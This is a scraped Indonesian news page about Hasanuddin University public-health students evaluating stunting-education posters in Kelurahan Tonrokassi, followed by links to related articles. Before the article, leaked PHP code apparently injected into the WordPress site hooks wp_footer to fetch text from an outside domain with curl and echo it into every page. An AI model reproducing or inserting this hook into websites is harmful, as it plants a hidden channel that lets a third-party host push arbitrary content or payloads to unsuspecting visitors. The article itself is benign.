function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Mahasiswa Posko 33 PBL FKM Unhas Evaluasi Poster Edukasi Stunting di Kelurahan Tonrokassi: Respons Positif Masyarakat, Kader Posyandu Tunjukkan Kepedulian Tinggi - Suluh Nusantara

Home / Uncategorized

Jumat, 27 Juni 2025 - 00:15 WIB

Mahasiswa Posko 33 PBL FKM Unhas Evaluasi Poster Edukasi Stunting di Kelurahan Tonrokassi: Respons Positif Masyarakat, Kader Posyandu Tunjukkan Kepedulian Tinggi

Tonrokassi, 27 Juni 2025 — Mahasiswa Posko 33 dari Program Praktik Belajar Lapangan (PBL) Fakultas Kesehatan Masyarakat Universitas Hasanuddin telah melaksanakan kegiatan evaluasi terhadap media edukasi stunting berupa poster yang sebelumnya dipasang di tujuh titik strategis di wilayah Kelurahan Tonrokassi. Evaluasi ini bertujuan untuk meninjau kondisi fisik poster sekaligus mengukur sejauh mana efektivitasnya dalam menyampaikan informasi kepada masyarakat.

Hasil evaluasi menunjukkan bahwa mayoritas poster yang dipasang masih dalam kondisi sangat baik. Dari tujuh lokasi, enam poster tetap terpasang dengan baik di tempat-tempat penting seperti Posyandu Lingkungan Paranglambere, Sulurang, Se’rukang, Taipakalongkong, kantor lurah (yang juga berfungsi sebagai Posyandu Lingkungan Ci’nong Barat dan Ci’nong Timur), Ora-Orasa, dan Pustu Kelurahan Tonrokassi. Menariknya, para kader posyandu secara sukarela melakukan perawatan ringan seperti memperkuat perekat poster agar tetap terpasang dengan kokoh. Hal ini mencerminkan adanya rasa kepemilikan dan tanggung jawab yang tinggi terhadap keberlanjutan program edukasi stunting di lingkungan mereka.

Baca Juga  Transformasi Program Senam Ibu Hamil Menjadi Edukasi Pentingnya Senam Ibu Hamil : Upaya Mahasiswa FKM Unhas Meningkatkan Kesadaran Kesehatan Ibu di Desa Pattiro, Kabupaten Jeneponto.

Satu poster di Posyandu Lingkungan Bossolo mengalami kendala berupa terlepas dari tempat pemasangan. Hal ini disebabkan oleh pemilihan lokasi yang kurang tepat, sehingga daya rekat tidak optimal. Namun demikian, poster tersebut masih dalam kondisi baik dan telah berhasil dipasang ulang di tempat yang lebih strategis dan aman.

Selain aspek fisik, evaluasi juga mencakup penilaian terhadap efektivitas penyampaian pesan edukasi melalui wawancara langsung dengan masyarakat. Hasilnya menunjukkan tanggapan yang sangat positif. Sebagian besar responden menyatakan bahwa informasi dalam poster mudah dipahami, didukung oleh desain visual yang menarik, perpaduan warna yang serasi, serta ukuran huruf yang cukup besar untuk dibaca dengan jelas. Poster dinilai mampu menarik perhatian pengunjung posyandu dan lokasi strategis lainnya.

Meski begitu, evaluasi juga mengungkap adanya tantangan. Ditemukan bahwa sebagian masyarakat masih belum berinteraksi secara mendalam dengan isi poster. Beberapa orang hanya melihat sekilas tanpa membaca keseluruhan informasi, sehingga belum sepenuhnya memahami pesan yang disampaikan. Hal ini mengindikasikan perlunya peningkatan peran aktif para kader dalam menjelaskan isi poster secara langsung kepada masyarakat.

Baca Juga  Seminar Awal Posko Kelurahan Macanre Mahasiswa Fakultas Kesehatan Masyarakat Universitas Hasanuddin

Sebagai ujung tombak edukasi kesehatan di masyarakat, para kader memiliki peran penting sebagai komunikator. Penguatan kapasitas mereka dalam menyampaikan informasi serta pengembangan pendekatan komunikasi yang lebih interaktif dan persuasif menjadi langkah strategis untuk meningkatkan efektivitas media poster sebagai alat edukasi.

Kegiatan evaluasi ini menegaskan bahwa media edukasi seperti poster memiliki potensi besar dalam mendukung upaya pencegahan stunting. Langkah ini selaras dengan Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs), khususnya SDG 2: Mengakhiri kelaparan dan segala bentuk malnutrisi, serta SDG 3: Menjamin kehidupan yang sehat dan mendorong kesejahteraan bagi semua usia. Kolaborasi antara mahasiswa, kader, dan masyarakat mencerminkan semangat kemitraan untuk pembangunan berkelanjutan (SDG 17), menciptakan lingkungan yang lebih sadar gizi dan kesehatan, serta memperkuat fondasi generasi yang sehat di masa depan.

Share :

Baca Juga

Uncategorized

Mahasiswa FKM Unhas Posko Manorang Salo Resmi Laksanakan Seminar Awal PBL I di Kelurahan Manorang Salo

Uncategorized

Mahasiswa PBL II Unhas Sosialisasikan Pentingnya Imunisasi Yang Lengkap di Garassikang

Uncategorized

Seminar Awal: Menelusuri Jejak Kesehatan di Desa Pattojo; Perjalanan Mahasiswa Fakultas Kesehatan Masyarakat Universitas Hasanuddin dalam PBL 1 di Desa Pattojo, Kecamatan Liliriaja, Kabupaten Soppeng
Doc. Mahasiswa Posko 20 PBL II FKM UNHAS bersama tokoh masyarakat Desa Kapita (Istimewa)

Uncategorized

Seminar Awal Posko 20 PBL II FKM UNHAS: Awal Kolaborasi Bersama Masyarakat Desa Kapita

Uncategorized

Sadar Stunting: Edukasi Ibu Hamil untuk Mencegah Risiko Stunting Sejak Dini di Desa Tombo-Tombolo, Kecamatan Bangkala, Kabupaten Jeneponto

Uncategorized

Dukung Agenda SDGs, FKM Unhas Gelar Edukasi Imunisasi HPV untuk Sukseskan BIAS

Uncategorized

Pelaksanaan Kegiatan Seminar Awal Posko 19 PBL II FKM UNHAS Sebagai Langkah Awal Memperkenalkan Rencana Intervensi Berbasis Masalah di Desa Gunung Silanu

Uncategorized

Mahasiswa KKNPK-67 Unhas di Desa Bungeng Melaksanakan Penyuluhan Kesehatan Reproduksi Remaja di MTs Al-Husra Bungeng, Desa Bungeng, Kecamatan Batang, Kabupaten Jeneponto sebagai Upaya Edukasi dan Pencegahan Pernikahan Dini dalam Mewujudkan Generasi Sehat dan Berdaya Saing